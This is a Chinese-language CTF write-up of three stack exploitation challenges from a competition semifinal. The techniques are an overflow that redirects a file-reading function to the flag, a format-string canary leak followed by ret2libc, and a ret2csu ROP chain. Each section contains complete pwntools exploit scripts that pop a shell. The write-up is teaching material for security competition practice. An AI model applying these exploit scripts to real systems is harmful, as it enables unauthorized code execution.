背景
好久没做pwn,国赛半决赛临时复习了栈相关的漏洞利用,正好排上用场,做了几道题,写下此文做个总结和分享我的做题思路。
Robot
提供了Binary和libc库
平台:x64
- 拖进ida看看先:
- 试运行 看看保护机制
有canary又有NX再加上提供了Lib库,真让人让人思绪万千,后来发现其实没有那么复杂,是出题人故意迷惑我们的。
程序的流程是这样的:
先scanf()输入一串字符串(存在溢出),然后strcmp与一个32位长的字符串比较,相同则进行后续的操作,否则推出。后续操作是用户输入选择1到4,再给变量赋值字符串。除了v0=4时都会把变量传给catfile函数,作为文件名去打开并显示内容。
v0==4的时候是这样的:
可以看到赋值了flag的字符串后就退出了。其实给了lib库迷惑性很大,不过仔细想想,把其他情况的变量覆盖为flag,然后传入catfile()函数就可以通过catfile()函数拿到flag。
所以思路如下:通过scanf()溢出覆盖到v6,然后用户输入除1到4以外的数字,执行catfile()拿到flag。
编写exp的时候,注意文件名只能是flag没有其他字符,我想的是用’’字符填充,并且覆盖到v6字符串长度必须要是36字节长,并且要能表示出flag文件的路径,所以我用的是”./“作为填充,因为在Linux这表示当前路径。exp如下:
from pwn import *
context.log_level="debug"
p=remote("172.16.1.101",1337)
#p=process("./Robot")
p.recvuntil("...n")
p.sendline("666")
p.recvuntil(":n")
payload1="327a6c4304ad5938eaf0efb6cc3e53dc"
payload=payload1+''+(64-len(payload1)-1)*''+'./'*16+'flag'+''
p.sendline(payload)
#gdb.attach(p)
p.recvuntil("gn")
p.sendline('5')
print p.recvline(),p.recvline(),p.recvline()
个人收获:
一开始自己做的时候,怎么也拿不到flag,原因在于,文件路径必须36个字节长,而且flag的文件名就是flag,需要一些填充和00截断。填充的字符还不能影响到flag的路径,想了一会儿决定用”./“填充。然后就拿到了flag
pwn1
题目给了binary和lib库
- 拿到源文件拖进ida先看看:
我们可以看到main函数中没有对输入的长度进行限制存在溢出,get_message()函数中存在格式化字符串和溢出漏洞
发现很明显的格式化字符串漏洞和溢出,然后进虚拟机试运行看看保护,查看got表,再确定思路。
emmm,有canary,然后nx可执行。再加上main函数和get_message函数都存在溢出问题。
所以确定思路为:
先通过格式化字符串漏洞,泄露出canary值,然后再通过get_message()函数的gets(s)溢出返回到main函数,泄露gets函数地址,再通过泄露的函数地址和给的lib库计算出,system()函数和”/bin/sh”的地址,然后再借助getmessage()函数溢出返回执行system(“/bin/sh”)
- 试运行确定格式化字符串的偏移量
发现要访问到我们自己输入的格式化串的偏移量为46,再验证下:
泄露canary之前必须得知道canary位置在哪儿,所以先动态调试调试确定canary与我们的输入的偏移量:
刚执行完从gs:0x14处获得canary值得指令,执行完毕后查看eax=0xb2b64100(这里截图没截到)
然后看看栈中的情况:
可以发现我们输入的AAAA与cannary差了25个dword。
然后与之前的46相结合,偏移量为71即可泄露canary.
然后用同样的方法可以确实getmessage()函数中我们的输入与canary的偏移量,为100个字节,canary与返回地址偏移量为12字节,从而构造payload利用泄露的canary溢出修改函数返回地址到main函数,然后再泄露gets函数位置。
from pwn import *
p=process("./pwn1")
elf=ELF("./pwn1")
libc=ELF("./libc2.so")
main=0x804851b
deadbeef=0xdeadbeef
got_gets=elf.got['gets']
print hex(got_gets)
#leak the cannary first
p.recvuntil("name:")
payload="AAAA"+"%71$x"
#gdb.attach(p)![](https://p1.ssl.qhimg.com/t01454ae1ecf5a2cff6.png)
p.sendline(payload)
p.recvline()
cannary= int(p.recv()[4:12],16)
print " cannary: "+hex(cannary)
# ret to the main fuction
payload2="a"*100+p32(cannary)+12*"b"+p32(main)
#p.recvuntil(":")
p.sendline(payload2)
# leak the gets address
payload3=p32(got_gets)+" %46$s"
p.recvuntil("name:")
p.sendline(payload3)
gdb.attach(p)
p.recvline()
gets_addr=u32(p.recv()[7:11])
print "gets_addr" +hex(gets_addr)
#caculate the systemaddr and binshaddr
system_addr=gets_addr-(libc.symbols['gets']-libc.symbols['system'])
print "system addr: "+hex(system_addr)
binsh_addr=gets_addr-(libc.symbols['gets']-next(libc.search('/bin/sh')))
print "binsh addr :" +hex(binsh_addr)
# get the shell
payload4="a"*100+p32(cannary)+12*"b"+p32(system_addr)+p32(deadbeef)+p32(binsh_addr)
p.sendline(payload4)
p.interactive()
个人收获:
之前接触格式化字符串,感觉很简单,并没有实际操作,然后比赛的时候遇到真的很艰难,特别是用格式化字符串泄露的时候,recv到的结果不知道取那些位,调试了好久终于对这些东西开始敏感了,也知道坑在哪里了。
pwn
题目给了Binary和lib库
- 分析文件流程
拖进ida看看:
x64程序
很明显的溢出
再看看保护机制
啥也没开,甚至可以使用shellcode,不过使用shellcode要能泄露出栈中的地址,有点麻烦,我使用的是rop。
思路
通过位于csu_init中的通用gadget泄露write函数的地址,从而计算出system函数地址,再用通用gadget将system地址和”/bin/sh”写入bss段,再通过通用gadget执行system(“/bin/sh”)
exp 编写
借助通用型的rop编写exp,但是有点坑,有点小小的不同。
通用rop是借助的csu_init这个函数
的代码片段:
与蒸米大大的文章中有所不同,0x400600处mov指令操作的对象有所不同,可以查看蒸米大大的文章进行比对。所以从实际出发,构造的栈参数应该是这样的:
#0
#0
#1
#函数地址
#rdx
#rsi
#rdi
所以exp为:
from pwn import *
elf = ELF('pwn')
libc=ELF('libc.so')
p = process('./pwn')
bss_addr = elf.bss(0x10)
got_write = elf.got['write']
got_read = elf.got['read']
log.success("The write got address is "+ hex(got_write))
log.success("The read got address is "+ hex(got_read))
main = 0x400587
def leak(address):
p.recv()
payload = "x00"*136
payload += p64(0x400616) + p64(0) +p64(0) + p64(1) + p64(got_write) + p64(8) + p64(address) + p64(1)
payload += p64(0x400600)
payload += "x00"*56
payload += p64(main)
p.send(payload)
data = p.recv(8)
return data
write_addr=u64(leak(got_write))
print "write:"+hex(write_addr)
print "bss:" +hex(bss_addr)
system_addr=write_addr-libc.symbols['write']+libc.symbols['system']
binsh='/bin/sh'
log.success("The system address is " + hex(system_addr))
payload2 = 'x00' * 136
payload2 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(got_read) + p64(16) + p64(bss_addr) + p64(0)
payload2 += p64(0x400600)
payload2 += "x00" * 56
payload2 += p64(main)
p.send(payload2)
addr=p64(system_addr)+binsh
p.send(addr)
payload3 = 'x00' * 136
payload3 += p64(0x400616) + p64(0) + p64(0) + p64(1) + p64(bss_addr) + p64(0) + p64(0) + p64(bss_addr+8)
payload3 += p64(0x400600)
payload3 += "x00"*56
payload3 += p64(main)
p.send(payload3)
p.interactive()
个人收获,由于csu_init中的gadaget与蒸米大大文章中有所区别,所以自己调试了很多遍,终于发现了为啥get不了shell对利用通用gadget写exp脚本有了更深的理解
总结
这几道题是pwn选手必会的栈漏洞利用题目类型,看着原理简单,但是到自己写exp的时候就犯难了,所以自己动手实践很重要。pwn遇到不懂的就应该多调调,我本是做逆向的临时调pwn压力山大,不过还好学到了东西!
talk is cheap , debug is real!
文件放这儿了:
https://pan.baidu.com/s/1ImyewCgZqDDQHE_G2xrNVQ
密码:kcu5
有兴趣的朋友可以自己调调
发表评论
您还未登录,请先登录。
登录